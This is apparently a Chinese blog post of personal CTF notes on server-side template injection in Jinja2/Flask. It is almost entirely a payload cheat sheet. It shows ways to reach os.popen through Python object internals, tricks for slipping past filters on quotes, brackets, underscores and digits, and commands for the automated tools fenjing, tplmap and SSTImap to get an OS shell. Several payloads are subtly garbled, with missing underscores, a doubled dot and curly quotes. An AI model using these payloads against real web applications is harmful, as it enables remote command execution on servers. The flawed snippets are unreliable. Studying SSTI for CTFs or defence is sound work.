考试周结束了,也该做做自己的事情了
我把很早之前打的笔记整理了一下,想想还是发了出来
由于是很早前写的,想着是自己看的,所以有些代码就没解释,内容严谨性和连贯性都有所欠缺,欢迎大佬指出错误,我会积极改正
部分代码来自CSDN和NSSCTF大佬的文章,侵权必删
SSTI注入与绕过
测试是否能渲染

看哪些类可用
{{”.__class__.__base__.__subclasses__()}}
{{[].__class__.__base__.__subclasses__()}}
{{config.__class__.__init__.__globals__}}
#命令执行可有两种类os和subprocess,依据具体情况看看环境中有没有该类,然后调用相应的类
找利用类索引
<class ‘os._wrap_close’>
找利用类方法
{{”.__class__.__base__.__subclasses__()[113].__init__.globals__}}
构造利用类方法
{{”.__class__.__base__.__subclasses__()[113].__init__.globals__.popen(‘xxx’)}}
字符型
{{[].__class__.__base__.__subclasses__()[113].__init__.globals__[‘popen’](‘calc’)}}
读取运行结果
{{”.__class__.__base__.__subclasses__()[113].__init__.__globals__[‘popen’](‘whoami’).read()}}
其他调用方法
config:{{config.__class__.__init__.__globals__[‘os’].popen(‘calc’)}}
url_for:{{url_for.__globals__.os.popen(‘calc’)}}
lipsum:{{lipsum.__globals__[‘os’].popen(‘calc’)}}
get_flashed_messages:{{get_flashed_messages.__globals__[‘os’].popen(‘calc’)}}
过滤
如果’被过滤可以用python中的request传参
过滤’
{{[].__class__.__base__.__subclasses__()[113].__init__.globals__[request.args.x](request.args.y).read()}}&x=popen&y=cat /flag
x,y为参数,可写任意值
{{config.__class__.__init__.__globals__[request.args.x].popen(request.args.y).read()}}&x=os&y=cat /flag
过滤args
args改为values或cookies
过滤[] ‘
url_for:{{url_for.__globals__.os.popen(‘calc’)}}
过滤了下划线_
lipsum:{{(lipsum|attr(request.values.x)).os.popen(request.values.b).read()}}&x=__globals__&b=cat /flag
config:
name={{”.__class__.__base__.__subclasses__()[113].__init__.globals__}}
name={{”.__class__.__base__.__subclasses__()[113]..__init__.globals__.popen(‘calc’)}}
//popen为调用方法calc为执行命令
name={{[].__class__.__base__.__subclasses__()[113].__init__.globals__[‘popen’](‘calc’)}}
绕过数字
对于数字的话,可以这么构造:{% set a='aaaaaaaaaa'|length %}{{a}}这样出来值为10
当然里面也是能进行运算的:{% set a='aaaaaaaaaa'|length*'aaa'|length %}{{a}}这样出来值为30
SSTI终极工具——fenjing
全自动化绕过,只需要直接执行命令即可(仅支持http)

kali中安装
pip install fenjing
使用
python -m fenjing scan –url ‘http://…’
打开网站ui
python -m fenjing webui
工具
tplmap
tplmap.py -u example.com/?name=* –os–shell
SSTImap
python sstimap.py -u example.com/?name=* –os-shell






